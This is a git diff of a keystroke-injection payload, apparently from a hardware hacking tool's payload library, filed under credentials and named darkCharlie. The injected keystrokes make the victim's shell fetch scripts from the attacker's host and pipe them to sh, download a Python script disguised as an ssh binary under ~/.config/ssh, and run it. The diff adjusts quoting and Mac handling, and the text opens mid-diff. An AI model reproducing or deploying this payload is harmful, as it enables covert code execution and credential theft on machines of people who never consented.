200 + QUACK ENTER +fi LED SUCCESS #See you, space cowboy... \ No newline at end of file diff --git a/payloads/library/credentials/darkCharlie/injector/payload.txt b/payloads/library/credentials/darkCharlie/injector/payload.txt index ec03ae26..5f87625a 100644 --- a/payloads/library/credentials/darkCharlie/injector/payload.txt +++ b/payloads/library/credentials/darkCharlie/injector/payload.txt @@ -62,13 +62,13 @@ then QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh QUACK ENTER QUACK DELAY 200 - QUACK STRING curl "http://$HOST_IP/darkCharlie.py" \> ~/.config/ssh/ssh + QUACK STRING curl "http://$HOST_IP/darkCharlie.py" \> "~/.config/ssh/ssh" QUACK ENTER QUACK DELAY 200 QUACK STRING curl "http://$HOST_IP/post.sh" \| sh QUACK ENTER QUACK DELAY 200 - QUACK STRING ~/.config/ssh/ssh --initializeScript + QUACK STRING python "~/.config/ssh/ssh" --initializeScript QUACK ENTER QUACK DELAY 200 else @@ -89,7 +89,13 @@ fi QUACK DELAY 200 QUACK ENTER QUACK DELAY 200 -QUACK STRING exit -QUACK DELAY 200 -QUACK ENTER +if [ "$mac" = true ] +then + QUACK DELAY 5000 #seems like macs need some extra time on this + QUACK GUI w +else + QUACK STRING exit + QUACK DELAY 200 + QUACK ENTER +fi LED SUCCESS #The Dungeons and Dragons tattoo hath rolled a 20